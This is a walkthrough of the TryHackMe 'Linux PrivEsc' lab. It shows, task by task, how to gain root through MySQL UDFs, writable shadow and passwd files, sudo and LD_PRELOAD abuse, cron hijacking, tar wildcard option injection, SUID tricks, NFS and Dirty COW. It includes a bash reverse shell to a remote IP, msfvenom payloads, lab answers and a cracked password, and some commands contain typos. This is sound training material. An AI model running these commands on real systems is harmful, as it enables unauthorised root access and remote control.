Linux Privilege Escalation
The link for this lab is located here: https://tryhackme.com/room/linuxprivesc
In this room, we will walk through a variety of Linux Privilege Escalation techniques - ranging from weak file permissions and cron jobs to environment variables and SUID executables
Task 2 - Service Exploits
The MySQL service is running as root and the “root” user for the service does NOT have a password assigned. To exploit this, we can use this that takes advantage of User Defined Functions (UDFs) to run system commands as root via the MySQL service. To learn more about UDFs, you can read about them here.
First step to run this exploit is to change into the “/home/user/tools/mysql-udf” directory. Once there, we have to compile the “raptor_udf2.c” exploit code using the following commands:
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
After compiling, we connect to the MySQL service as the root user with no password.
mysql -u root
Once in, execute the following commands on the MySQL shell to create a User Defined Function (UDF) “do_system” using our compiled exploit
use mysql;
create table foo(line blob);
insert into foo values(load_fule(‘/home/raptor/raptor_udf2.so’));
select * from foo into dumpfile ‘/usr/lib/raptor_udf2.so’;
create function do_system returns integer soname ‘raptor_udf2.so’;
Once completed, use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission:
select do_system(cp ‘/bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash’);
Then, exit out of the MySQL shell and run the “/tmp/rootbash” executable with “-p” to gain a shell running with root privileges.
Once finished, remove the /tmp/rootbash executable and exit out of the root shell before continuing.
Task 3 - Weak File Permissions - Readable /etc/shadow
The /etc/shadow file contains user password hashes and is usually readable only by the root user. In this room, the “/etc/shadow” file is world-readable.
To view the contents of the /etc/shadow, simply cat it out.
Each line of the file represents a user. A user’s password hash can be found between the first and second colons (:) of each line.
First, save the root user’s hash to a file called hash.txt locally and then use John the Ripper to crack it using the rockyou.txt wordlist
Once the password is cracked, simply switch to the root user - remember to exit out of root before continuing.
Questions
Q1: What is the root user's password hash?
A: $6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0Q2: What hashing algorithm was used to produce the root user's password hash?
A: sha512cryptQ3: What is the root user's password?
A: password123
Task 4 - Weak File Permissions - Writable /etc/shadow
You should have also noticed that the /etc/shadow file was also world-writable.
To generate a new password hash to replace an already existing user’s into this file, you can use the “mkpasswd -m sha-512 newpassword123” command.
Once created, simply edit the /etc/shadow file and replace the original root user’s password hash with the one you just generated.
Once completed, simply switch to the root user using the new password - remember to exit out of the root shell afterwards.
Task 5 - Weak File Permissions - Writable /etc/passwd
The /etc/passwd file contains information about user accounts. Typically, it is world-readable but usually only writable by the root user. Historically, the /etc/passwd DID contain user password hashes and some Linux versions still allow password hashes to be stored there.
To generate a new password hash, use the “openssl passwd pass456”
Once generated, edit the /etc/passwd file and place the generated password hash between the first and second colon of the root user’s row.
Next, try switching to the root user using the new password.
Alternatively, you can copy the root user’s row and append it to the bottom of the file, changing the first instance of the word “root” to “newroot” and placing the generated password hash between the first and second colon.
Then, try switching to the “newroot” user.
Questions
Q1: Run the "id" command as the "newroot" user. What is the result?
A: uid=0(root) gid=0(root) groups=0(root)
Task 6 - Sudo - Shell Escape Sequences
To list the programs which sudo allows you to run, use the “sudo -l” command
Next, if a program or script or service is listed, look through GTFOBins and search for the program name. If the program is listed with “sudo” as a function, you can use it to elevate privileges - usually via an escape sequence.
There is one program that does NOT have any entry on GTFOBins which is apache2.
For this section, choose a program from the list available after running “sudo -l” and try to gain a root shell following instructions from GTFOBins.
I chose to use the “vim” program.
Using the first line, I simply spawned a Bash shell running as root
I also tried using the “iftop” sudo vulnerability via the following
Questions
Q1: How many programs is "user" alowed to run via sudo?
A: 11Q2: One program on the list does NOT have a shell escape sequence on GTFOBins. Which is it?
A: Apache2
Task 7 - Sudo - Environment Variables
Sudo can be configured to inherit certain environment variables from the user’s environment. To check which environment variables are inherited use the “sudo -l” command and look for the “env_keep” option.
LD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user’s environment. LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.
First thing we can do is create a shared object using the code located at /home/user/tools/sudo/preload.c
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
Next, run one of the programs you are allowed via sudo, while setting the LD_PRELOAD environment variable to the full path of the new shared object.
sudo LD_PRELOAD=/tmp/preload.so [program-name]
A root shell should spawn.
For the second method using LD_LIBRARY_PATH, you can first run ldd against the apache2 program file to see which shared libraries are used by the program
ldd /usr/sbin/apache2
Next, create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library_path.c:
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
Finally, run apache2 using sudo while setting the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object).
sudo LD_LIBRARY_PATH=/tmp apache2
Task 8 - Cron Jobs - File Permissions
Cron jobs are programs or scripts which users can schedule to run at specific times or intervals. Cron table files (crontabs) store the configuration for cron jobs. The system-wide crontab is located at /etc/crontab.
To view the contents, simply cat it out.
There should be two cron jobs scheduled to run every minute. One runs overwrite.sh, the other runs /usr/local/bin/compress.sh.
To find what the full path of overwrite.sh is, you can run “locate overwrite.sh”
Looking at the permissions of each file, you can see that overwrite.sh is world-writable. This means we can overwrite the contents of this file to spawn a shell when it gets ran the next minute.
To do this, we can change the contents of the overwrite.sh file with the following:
#!/bin/bash
bash -i >& /dev/tcp/10.11.3.112/4444 0>&1
Once saved, run a netcat listener on your local machine to catch the reverse shell and wait for the cron job to run.
After a minute or less, a root shell should connect back to your netcat listener.
Task 9 - Cron Jobs - PATH Environment Variables
Once again, viewing the system-wide crontab reveals that the PATH variable starts with /home/user which is our user’s home directory.
With this information, we can create a file called overwrite.sh in our home directory with the following contents:
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
Be sure to make the home/user/overwrite.sh file executable.
Then, wait for the cron job to run. After it has ran, try running the “/tmp/rootbash” command with “-p” to gain a shell running with root privileges.
Afterwards, remove the modified code and the /tmp/rootbash executable and exit out of the root shell.
Questions
Q1: What is the value of the PATH variable in /etc/crontab?
A: /home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
Task 10 - Cron Jobs - Wildcards
Looking at the contents of the other cron job script, we note that the tar command is being run with a wildcard (*) in our home directory.
Taking a look at the GTFOBins page for tar, we can see that tar has command line options that let you run other commands as part of a checkpoint feature.
Using msfvenom, we can generate a reverse shell ELF binary.
Once created, we can transfer the shell.elf file to /home/user on the target machine either using scp, or hosting a web server and using wget. Once on the machine, you can give it executable permissions.
Afterwards, create two files in /home/user:
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf
When the tar command runs via the cron job, the wildcard (*) will expand to include these files. Since their file names are valid tar command line options, tar will recognize them as such and treat them as command line options rather than filenames.
To catch the shell, you need to set a netcat listener on your local machine on the same port as specified in msfvenom. After a minute, you should receive a root shell back.
Remember to exit the root shell and delete all the files you created.
Task 11 - SUID/SGID Executables - Known Exploits
Another useful thing we can do is search for all SUID/SGID executables on the target using the find command with the following parameters:
find / -type f \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
Note that /usr/sbin/exim-4.84-3 appears in the results. Searching for an exploit for this version of exim reveals the following exploit.
A local privilege escalation exploit matching this version of exim exactly. A copy can already be found at /home/user/tools/suid/exim/cve-2016-1531.sh.
Simply run the exploit to gain a root shell.
Task 12 - SUID/SGID Executables - Shared Object Injection
The /usr/local/bin/suid-so SUID executable is vulnerable to Shared Object Injection.
First, execute the file and note that it displays a progress bar before exiting.
Run “strace” on the file and search the output for open/access calles and for “no such file” errors:
strace /usr/local/bin/suid-so 2>&1 | grep -iE “open|access|no such file”
Looking at the results, the executable tries to load the /home/user/.config/libcalc.so shared object within our home directory but it cannot be found.
To exploit this, first we create the .config directory in our home directory
The example shared object code can be found at /home/user/tools/suid/libcalc.so. It simply spawns a bash shell.
To compile the code into a shared object at the location the suid-so executable is looking at, use the following:
gcc -shared -fPIC -o /home/usr/.config/libcalc.so /home/user/tools/suid/libcalc.so
Once compiled, execute the suid-so executable again and note that this time, instead of a progress bar, we get a root shell.
Task 13 - SUID/SGID Executables - Environment Variables
The /usr/local/bin/suid-env executable can be exploited due to it inheriting the user’s PATH environment variable and attempting to execute programs without specifying an absolute path.
First, execute the file and note that it seems to be trying to start the apache2 web server:
/usr/local/bin/suid-env
Running strings on the file to look for strings of printable characters reveals one line - service apache2 start.
This suggests that the service executable is being called to start the web server, however the full path of the executable (/usr/sbin/service) is not being used.
We can compile the code located at /home/user/tools/suid/service.c into an executable called service - the code simply spawns a Bash shell
gcc -o service /home/user/tools/suid/service.c
Then, we can prepend the current directory (or where the new service executable is located) to the PATH variable and run the suid-env executable to gain a root shell
PATH=.:$PATH /usr/local/bin/suid-env
Task 14 - SUID/SGID Executables - Abusing Shell Features #1
The /usr/local/bin/suid-env2 executable is identical to /usr/local/bin/suid-env except that it uses the absolute path of the service executable (/usr/bin/service) to start the apache2 web server.
First, we can verify this with the strings command.
strings /usr/local/bin/suid-env2
In BASH versions <4.2-048, it is possible to define shell functions with names that resemble file paths and then export those functions so that they are used instead of any actual executable at that file path.
To do this, we first create a BASH function with the name “/usr/sbin/service” that executes a new BASH shell and then export the function.
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
Once completed, run the suid-env2 executable to gain a root shell.
Task 15 - SUID/SGID Executables - Abusing Shell Features #2
Before starting here, this privilege escalation technique will NOT work on BASH versions 4.4 and above.
When in debugging mode, BASH uses the environment variables PS4 to display an extra prompt for debugging statements.
Running the /usr/local/bin/suid-env2 executable with BASH debugging enabled and the PS4 variable set to an embedded command which creates a SUID version of /bin/bash:
env -i SHELLOPTS=xtrace PS4=#$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)’ /usr/local/bin/suid-env2
Then, run the /tmp/rootbash executable with “-p” to gain a shell running with root privileges.
Remember to remove the /tmp/rootbash executable and exit out of the elevated shell before continuing.
Task 16 - Passwords and Keys - History Files
If a user accidentally types their password on the command line instead of into a password prompt, it may get recorded in a history file. To list all the hidden history files in the user’s home directory, use the following:
cat ~/.*history | less
Note that the user has tried to connect to a MySQL server at some point using the root username and a password submitted via the command line - there is NO space between the “-p” option and the password
Simply switch to the root user using the password found.
Questions
Q1: What is the full mysql command the user executed?
A: mysql -h somehost.local -uroot -ppassword123
Task 17 - Passwords & Keys - Config Files
Configuration files often contain passwords in plaintext or other reversible formats. By listing the contents of the user’s home directory, we see a .ovpn configuration file.
Viewing the contents of this file we see a reference to another location where the root user’s credentials can be found.
Viewing the new file, we see the credentials. Now, simply switch to the root user using the credentials found.
Questions
Q1: What file did you find the root user's credentials in?
A: /etc/openvpn/auth.txt
Task 18 - Passwords & Keys - SSH Keys
Sometimes users make backups of important files but fail to secure them with the correct permissions. Looking at the hidden files in the system root, we find a hidden directory called “.ssh” - this normally contains SSH keys used for remote authentication.
Looking inside, we see that there is a world-readable file called root_key. Further inspection of this file should indicate it is a private SSH key - the name of the file suggests it is for the root user.
Now that we have this, we can copy the key to our local machine and give it the correct permissions (600) before using it.
Once configured, simply the use key to login to the target as the root account.
Task 19 - NFS
Files created via NFS inherit the remote user’s ID. If the user is root, and root squashing is enabled, the ID will instead be set to the “nobody” user.
To check the NFS share configuration, run the following:
cat /etc/exports
Notice that the /tmp share has root squashing disabled. Because of this, on our local machine we can create a mount point and mount the /tmp share.
mkdir /tmp/nfs
mount -o rw,vers=2 [IP]:/tmp /tmp/nfs
Still on our local machine, we can generate a payload using msfvenom and save it to the mounted share - this payload simply calls /bin/bash.
msfvenom -p linux/x86/exec CMD=”/bin/bash -p” -f elf -o /tmp/nfs/shell.elf
Finally, make the file executable and set the SUID permissions:
chmod +xs /tmp/nfs/shell.elf
As a final step, back on the target machine, execute the file to gain a root shell.
Questions
Q1: What is the name of the option that disables root squashing?
A: no_root_squash
Task 20 - Kernel Exploits
Kernel exploits can leave the system in an unstable state - you should ONLY run them as a last resort.
For this, run the Linux Exploit Suggester 2 tool to identify potential kernel exploits on the current system.
perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl
The popular Linux kernel exploit “Dirty COW” is listed. The exploit code for Dirty Cow can be found “/home/user/tools/kernel-exploits/dirtycow/c0w.c”.
It replaces the SUID file /usr/bin/passwd with one that spawns a shell (a backup of /usr/bin/passwd is made at /tmp/bak)
To compile the code and run it, use the following:
gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w
./c0w
Once the exploit completes, run /usr/bin/passwd to get a root shell.
Remember to restore the original /usr/bin/passwd file and exit the root shell.
Task 21 - Privilege Escalation Scripts
Several tools have been written which help find potential privilege escalations on Linux. Three of these tools have been included on the target in /home/user/tools/privesc-scripts.
Experiment with these tools - running them with different options. Run each script yourselves and look through them. I will provide a basic screenshot of each.
